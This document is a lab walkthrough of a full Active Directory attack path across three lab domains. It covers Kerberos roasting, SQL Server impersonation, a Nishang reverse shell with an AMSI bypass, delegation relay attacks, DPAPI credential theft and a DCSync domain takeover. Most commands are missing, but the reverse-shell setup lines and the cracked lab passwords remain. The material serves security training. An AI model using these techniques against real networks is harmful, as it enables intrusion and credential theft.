Manual
Last updated
Last updated
Task: Enumerate valid domain users.
It is possible to enumerate valid domain users by sending TGT requests with the usernames to the domain controller and checking the response. One tool which can do this is Kerbrute. But first we need a list of usernames to spray. A repository with a lot of lists for ethica hacking is SecLists.
Download Kerbrute, make it executable and download SecLists:
2. After downloading the tools and the username list, run Kerbrute against the domain amsterdam.bank.local
and DC 10.0.0.3
. I prefer to pipe the command to tee
to save the output to a text file, in this case username_enum.txt
. The command is:
3. Kerbrute found quite some valid usernames. To only get a list of usernames execute the following command which will cut the output and only print the usernames. Then it changes everything to lowercase and sort for unique entries and write it to users.txt
:
We succesfully enumerated a list of valid domain users that are part of the domain amsterdam.bank.local
.
Task: Check if any of the valid users are vulnerable to an kerberos vulnerability.
One of the misconfiguration which can be exploited with just a list of valid domain users and without knowing their password is checking if any of the valid domain users has pre-authentication enabled. If they do we can execute the AS-REP roasting attack and hopefully crack their hash and retrieve a valid password.
Other attacks which are possible to do is password spraying or checking if the user has an empty password. Which won't be covered in this attack path. But its possible to gain access to other users by executing these kind of attacks.
We can use the GetNPUsers.py script from Impacket to check if any of the users has this attribute set and if they do AS-REP roast them, saving the hashes to asreproasting.txt
.
2. The output doesn't show us any successes. But the file kerberoasting.txt
is there and it has a hash for the user richard
:
3. We can try to crack this hash using Hashcat. I transferred the file to my host since cracking in a VM isn't really ideal since it doesn't have access to my GPU. I always run Hashcat with rockyou and the dive ruleset first. For AS-REP Roasting we need to use hashmode -m 18200
.
4. We cracked the hash within seconds of the domain user Richard
, the password is Sample123
.
After gaining access to a valid set of credentials I always prefer to run BloodHound immediately. I normally run the PowerShell version of the BloodHound ingestor, but since we don't have access to a machine yet and I'm not connected on my W10 VM to the lab. We can run the BloodHound.py ingestor from FoxIt:
2. We now can load the data into BloodHound by dragging the zip file into the BloodHound program and see if Richard
can do anything useful. In the top search for the Richard user and click on it.
If you check Richard their attributes and click on the group memberships it unfolds. Richard is member of the following groups, nothing interesting there:
The attributes of the user also doesn't show anything interesting:
We didn't found anything, but it is always good to check this for every user and computers you own. You can also right click on every object we owned and mark them as "Owned". So its easier to query future attack paths from owned principals.
Task: Check if the user can access any system or service.
To check if a user can access any systems I prefer to use CrackMapExec. This tool can easily check if the user can authenticate to a list of targets using either the protocols smb, winrm, mssql or ldap. It also supports ssh. This is a snippet from the help function:
We can check if the user can access anything over SMB, which by default a normal domain user can authenticate over SMB. If the user is local admin (which is what we need to really do anything over SMB, it will show Pwn3d!
in orange).
The account can access three hosts over SMB but unfortunately we aren't local admin to any of them. We can still check for any accessible SMB shares by adding the --shares
parameter.
The IPC$, NETLOGON and SYSVOL shares are default. There is one interesting share with the name Data
on FILE01
. After connecting to the share with smbclient we see that this user unfortunately can't access any of the subdirectories:
2. Next we can check if the user can access any systems with the winrm protocol:
3. We weren't able to authenticate to any machine over Winrm. Now we check for SQL server with the mssql protocol:
Richard can connect to the SQL server running on WEB01
10.0.0.5
. But he doesn't have sysadmin rights(otherwise the tool prints Pwn3d!).
4. We can create a real connection with these credentials and the script mssqlclient.py from Impacket.
Task: Escalate privileges to sysadmin.
With the following SQL query we can check if our user is sysadmin, although we already know from CrackMapExec that our user likely isn't sysadmin
2. The 0
means that the user AMSTERDAM\richard
is not sysadmin. So we have to find a way to gain sysadmin privileges. One of the ways I know of is checking if our user can impersonate any other user which we can check with the following SQL query:
3. Seems like we can impersonate a user with the name Developer
. We can do this with the following SQL query:
But we get an error, because the user Developer
can't use the database we are currently connected to:
We can change the database to master; and try it again:
Seems like it worked, lets run the query again to check which user we are and if we are sysadmin:
4. We impersonated the user Developer
but still aren't sysadmin. We can check for impersonation permissions again with the same query:
5. We can now try to impersonate sa
, but we get an error:
6. Lets try to impersonate developer_test
and then check for sysadmin privileges and if impersonation is possible again:
7. We aren't sysadmin but it seems we can finally impersonate sa
now.
8. We are sa
and have sysadmin privileges. We successfully escalated our privileges from domain user to sa
with sysadmin privileges on the SQL Server. Now we can try to get command execution on the host.
Task: Get a shell.
The first step to execute commands is to check if xp_cmdshell is already enabled, since its only possible to execute cmd commands if that is enabled. We can do that by just executing xp_cmdshell and see if it works:
2. We receive an error that it is disabled. But we can try to enable it with the following SQL queries:
Now we can try to execute the whoami
command again and it worked:
3. The next step is to gain a reverse shell from WEB01
. For this we need to prepare some files and setup a listener before we execute a query and command on the sql server.
Save the amsi bypass from here to a file named amsi.txt
.
Download Invoke-PowerShellTcp.ps1 from Nishang: wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
Check the IP of the attacking: ip a
(mine is 192.168.248.2 but yours will be different!).
Add the following to a newline in Invoke-PowerShellTcp.ps1: Invoke-PowershellTcp -Reverse -IPAddress <IP> -Port 443
Start a webserver on port 8090: python3 -m http.server 8090
Start a listener on port 443: nc -lvp 443
4. Now we need to change/type the payload we want to execute on the SQL server. A method I learned to use is to base64 encode the command we want to execute and use the -enc
parameter inside PowerShell. This prevents a lot of issues with single and double quotes.
The payload we would like to execute which will download the amsi into memory and then execute the reverse shell after bypassing Windows Defenser amsi is:
We can save this payload into a variable with the following command and then base64 encode it with the second command:
Now we can paste the base64 encoded string in the following SQL query which will execute the base64 encoded PowerShell command:
5. Now its time to execute the command and receive a shell. Amsi.txt and the reverse shell gets downloaded from the webserver and the shell comes in from WEB01
as NT service\mssql$dev
:
Task: Escalate privileges on the machine with a delegation attack.
One of the privilege escalation techniques that you don't see too often is by using a Resource Based Constrained Delegation attack. This attack works by relaying the computerhash to ldap after forcing a webdav authentication to the attacker machine. To do the attack there are a few requirements which are:
A low privileged shell on a machine
An account with a SPN associated (or able to add new machines accounts (default value this quota is 10))
WebDAV redirector feature must be installed on the victim machine. (W10 has it by default, but manually installed on server 2016 and later)
A DNS record pointing to the attacker’s machine (By default authenticated users can do this).
The first requirement we already have, so lets check if the authenticated users group can add computers to the domain. We can check this with Crackmapexec:
2. The MachineAccountQouta
is 10, meaning we (all authenticated users) can create our own computerobjects in the domain. So lets add our own computerobject, this can be done with PowerMad. First we have to download it on our attacking machine, in the same directory as our Webserver is already running:
Now we can load it into the PowerShell session in the shell:
Then we can create our own computerobject with the name FAKE01
and password 123456
using the New-MachineAccount
cmdlet from PowerMad:
3. The third requirement is that the WebDav director is installed. We can check this with the following PowerShell command in the shell:
The WebDAV Redirector is installed.
4. The last requirement is to create a DNS record back to our attacking machine, since the webdav connection won't work without a hostname to connect too. For this we need the Invoke-DNSUpdate script from PowerMad. So we download it again and import it in the shell and then run the command to add the dns entry webdav.amsterdam.bank.local
to our attacking machine IP (192.168.248.2
):
I also did a nslookup to check if the DNS record was created. The domain controller at 10.0.0.3
responded and gave us the correct attacker IP. We now have all our prerequisites. Time to escalate our privileges.
5. Run NTLMRelay from impacket on our Kali machine and set it up so it will write the msDS-AllowedToActOnBehalfOfOtherIdentity
attribute that allows our created computerobject FAKE01
to actonbehalf WEB01
:
6. Next we need to download en load the Change-LockScreen.ps1 script from the NCCgroup and load it into memory on the target:
Now its time to execute the attack. A quick recap from one of our pages:
Abuse the lockscreen image changing functionality to achieve a webdav network authentication as SYSTEM from the given computer. Then relay the authentication to the Active Directory LDAP service in order to set up Resource-Based Constrained Delegation to that specific machine.
Lets force the webdav request back to our kali attacking machine:
Once we check our NTLMRelay tool output we see that it succesfully authenticated as WEB01$
to the LDAP port on the DC at 10.0.0.3
. And it says FAKE01
can now impersonate users on WEB01
.
7. The next step is to impersonate a user(preferably a domain admin) and request service tickets so we can authenticate to the host. We can create a CIFS service ticket using FAKE01
impersonating the domain admin Administrator
using impackets getST.py script. Fill in the password 123456
.
8. Now we can use the ticket and authenticate with tools that support these, most (if not all) Impacket tools support this. So we can run secretsdump.py to retrieve the local useraccount hashes.
We retrieved the hash of the local administrator
user and the cached hashes for two domain admins. These look like NTLM hashes but aren't. We can use the local admin hash though to authenticate to WEB01
. We can do this with our good old tool CrackMapExec
.
9. The next step is to execute commands and get a shell. You might wonder why don't you just use psexec.py from Impacket, well because Defender will block it:
As said before, we can use the local administrator hash with CrackMapExec and execute commands with the -x
flag.
That worked, but how can we get a shell? You remember the payload we generated to get a shell through SQL server. That will work here too. So lets copy that and place it in the x parameter after starting a listener again to receive the shell:
And we received a shell as the local administrator. Gotta love PowerShell :)
Task: Enumerate SQL Links to hop across trusts.
We now fully own the server web01
which runs as a SQL Server. During our enumeration we didn't check for any SQL Links. We could do this manually in our connected mssqlclient.py session, but we could also use HeidiSQL from our Windows 10 machine. You might wonder why, but I prefer to use Heidisql, especially with bigger queries and data returned. mssqlclient.py for example returns big tables like this on my fullscreen monitor, its unreadable:
To do this we need to setup a port forward since our Windows 10 machine isn't connected to the lab. We can do this with Socat. This will make our kali listen on port 1433
and redirect all traffic to WEB01
(10.0.0.5
) port 1433
. The SQL Server is running on default on port 1433.
You can also do this to connect with the native windows Remote Desktop client instead of rdesktop or any linux remote desktop tool. I really prefer doing it that way.
On our Windows 10 machine we need to start HeidiSQL with a runas command to be able to authenticate with the domain user Richard
his credentials. When prompted for the password enter Sample123
.
Then we can connect to the database using the following settings:
For this to work you will need to fill in the IP of your kali machine, which need to be in the same network as the Windows 10 machine.
2. In HeidiSQL click on the "Query" tab and execute the following query to enumerate SQL links:
3. There is one SQL link to a sql server on data01.secure.local
. We can try to query the linked server for the SQL server version with the following query, using the openquery functionality:
4. We can also query the server to check if xp_cmdshell is on so we can execute commands:
Unfortunately it isn't enabled.
You could try to enable it (and that works too if you configured it in one of the pages). But that isn't the intended way for the attack path and gain access to the machine. Feel free to test it though.
Task: Perform a UNC Path injection and capture the hash of SQL Service user.
SQL Servers by default runs as a local service under the context of the computeraccount. But it is possible that the SQL service is running as a domain user which is made for the SQL service. For example sa_sql
. If we are able to capture its NTLMv2 hash we could try to crack it offline
Before we can try to capture hashes we should run Responder on our attacking machine. Responder will listen on multiple ports such as SMB, SQL, FTP etc. For executing the attack we only need SMB (port 445). We can run Responder with the following command
2. The next step is to perform a UNC Path injection attack. One SQL function we can use for that is xp_dirtree
. We can try the UNC Path injection with the following query in HeidiSQL, using the EXEC AT method to execute something through the link:
3. If we check our Responder output we can see that we captured the hash from the user sa_sql
from the domain Secure
.
Task: Crack the hash of the SQL service user.
We received a NTLMv2 hash from the sa_sql
user, which we can try to crack if the password of the user isn't that strong. We can easily do this with Hashcat like we did during the AS-REP roasting. But this time we need another hashmode.
We successfully cracked the hash of the sa_sql
user, the password is Iloveyou2
.
Task: Check for ACL's and get access to the system.
To enumerate ACL abuses I prefer to run BloodHound. We already gathered the information for amsterdam.bank.local
but the sa_sql
user is part of a different domain. To use BloodHound we need to know what the domain controller is for this domain. We can enumerate this in a lot of ways, the easiest way is to try to resolve the domain name:
2. The IP for secure.local is 10.0.0.100
, we can quickly run Crackmapexec and see if we can connect to it over SMB:
3. The hostname is DC03
, and the machine is part of secure.local
. We probably found the domain controller. Lets run BloodHound with the gathered credentials to retrieve the domain data:
We were able to successfully gather the BloodHound data. We can load it by dragging it into BloodHound like we did earlier. We can also find the sa_sql
user now:
4. Click on the user and scroll down in the "Node Info" till the "Outbound Control Rights" section. If there is any data here, it means the object has control on another object. Lets click on the number "1".
We see that the user has WriteOwner permissions:
In BloodHound you can right click the Edge and click the ?Help function to get more information on how to abuse it:
5. One tool to do these ACL abuses is PowerView from PowerSploit. So lets download that and load it into memory in the shell we have on WEB01
.
We also need to create a credential object for the sa_sql
user since we need to execute the commands as that user. We can do that with the following powershell commands:
The credentials are saved in the $creds
variable now:
6. Now we can use PowerView to query the domain controller from secure.local
for the domain-object DATA01
and retrieve the samaccountname and Owner attribute. We will receive a SID which we need to resolve as well;
7. The current owner of DATA01
is the Domain Admins group. Lets change that. We can change the owner of the object using the Set-DomainObjectOwner
cmdlet. The command below will change the owner to sa_sql
.
We didn't received any output, but we can execute the commands again to see who the owner is now.
The owner successfully changed.
8. Since we are the owner of the object now we can change the permissions we have on the object. We can give ourself genericall rights. This can be done with PowerView and the cmdlet Add-DomainObjectAcl
.
9. We didn't reveive any output but now we can check the current permissions by running BloodHound again and ingesting the data:
10. We have a lot of permissions now. Since DATA01
doesn't have LAPS installed unfortunately, we need to execute another Resource Based Constrained Delegation attack. The one known as the computer object takeover. To execute this attack there are two requirements:
An account with a SPN associated (or able to add new machines accounts (default value this quota is 10))
A user with write privileges over the target computer which doesn't have msds-AllowedToActOnBehalfOfOtherIdentity
11. The first requirement we already know how to do. So lets do what we did previously. Check for the machine account qouta in the secure.local
domain.
Then create a credential object, load PowerMad and add a computerobject to the domain:
We successfully created the computerobject FAKE01
in the secure.local
domain.
12. The second requirement we already have, we gave sa_sql
genericall permissions to DATA01
. But we can check if the msds-AllowedToActOnBehalfOfOtherIdentity
attribute is empty with PowerView.
13. The attribute haven't been set. Before we can write to it, we need to prepare the descriptor. First we need to get the SID of the computerobject FAKE01
which we created. We can request this with PowerView:
Now we need to create the raw security descriptor which we then will write to the attribute:
14. Now we can write as sa_sql
to the msds-allowedtoactonbehalfofotheridentity
attribute of the computerobject DATA01
:
We didn't get any output since we are in a shell. But we can check the attribute again to see of it worked:
Seems like it worked, now we can check the value of the msds-AllowedToActOnBehalfOfOtherIdentity
attribute by saving it in a variable and doing some PowerShell confu to decrypt it:
15. The next step is to impersonate a user and request tickets so we can authenticate. We can create a CIFS service ticket using FAKE01
impersonating the domain admin Administrator using impackets getST.py script. Fill in the password 123456
.
Now we can use the ticket and authenticate with tools that support these, most (if not all) impacket tools support this. So we can run secretsdump.py to retrieve the local useraccount hashes.
16. We retrieved the hash of the local administrator user. We can use the local admin hash though to authenticate to DATA01
.
17. We could get a shell the same way as we did before.
Task: Look for saved credentials on the machine (DPAPI).
One of the things I like to do when gaining access to a system is running Seatbelt. This tool will check many things like permissions, groups and for stored credentials. First we need to download Seatbelt.exe on the target and then run Seatbelt:
2. In the output of the section WindowsCredentialFiles we can see that the user sa_sql
has some credentials saved:
4. We can find the master encryption key id and some information about the saved credentials with the following Mimikatz command using the previous path and FileName:
The pbData
field contains the encrypted data and the guidMasterKey
contains the GUID of the key needed to decrypt it.
5. The next step is to retrieve the masterkey with the password of the user. Luckily we already know the password of the sa_sql
user, which is Iloveyou2
. With the following Mimikatz command we can retrieve the masterkey:
For some reason I kept getting errors, even If I gained a shell as sa_sql
through crackmapexec. We already owned the machine so maybe we could just RDP into it. But RDP is disabled:
We could always just enable RDP with the following commands:
We also have to add our user to the local admin group and Remote Desktop Users group:
If we scan with Nmap now port 3389 is open:
We now can RDP into the machine with for example Xfreerdp:
If we now run the same Mimikatz.exe command we receive the masterkey:
7. Now we can read the saved credentials with the masterkey using the following Mimikatz command:
We recived a credentials for the sa_backup
user, the password is LS6RV5o8T9
. We can quickly check if this is correct with Crackmapexec:
The login is succesfull, so the password is correct. The last thing to do is to remove the tools we placed on the machine and we should disable RDP again to not leave any changes to the system.
Task: Become domain admin by abusing the "Backup Operators" group.
When we look at the user sa_backup
we see that he is a member of multiple high privileged groups, such as Server Operators
, Account Operators
and Backup Operators
. In this section we will abuse the last group to become Domain Admin
. This group can read files on the domain controller.
To execute the BackupOperatorToDA tool which is able to dump the sam using these privileges we need to host our own public smb share. we can do this with the smbserver.py script from Impacket. This will create a share on \\192.168.248.2\share
.
3. The next step is to execute the BackupOperatorToDa tool to retrieve the the SAM, SYSTEN and SECURITY HIVE and save them in our created public share. But first we have to download it on DATA01
in the shell:
4. After a couple of minutes when we share the directory ~/adlab/share
we see that the files SAM
, SYSTEM
and SECURITY
are there.
5. The next step is to run SecretDump.py from Impacket to retrieve the machine account NTLM hash out of these HIVE dumps:
6. The last step is to run Secretsdump.py to run DCsync and retrieve all the domain account hashes using the computeraccount:
7. We retrieved the Administrator hash and can authenticate as Domain Admin
to the Domain Controller DC03
of Secure.local
.
Task: Check for interesting user attributes across the trust to bank.local
.
Use these credentials with GetUserSPNs.py from Impacket and kerberoast accross the bidrectional external trust.
2. We retrieved one hash. Lets crack it with Hashcat.
We successfully cracked the password of the user sa_admin
, the password is Welcome123456!
Task: Take over the bank.local
forest.
We can spray these credentials with CrackMapExec to check if we see a Pwn3d!
on both of the Domain Controllers dc01.bank.local
and dc02.amsterdam.bank.local
:
We successfully owned all three the domains!
Set back the SQL server xp_cmdshell
The latest compiled version of Mimikatz doesn't work on server 2022. Compiling the latest commit with Visual Studio 2019 gave me some errors, but this https://github.com/matrix/mimikatz/tree/type_cast-pointer_truncation_x64 repostorie/pull request worked for me without errors! I really hate compiling tools like this, always errors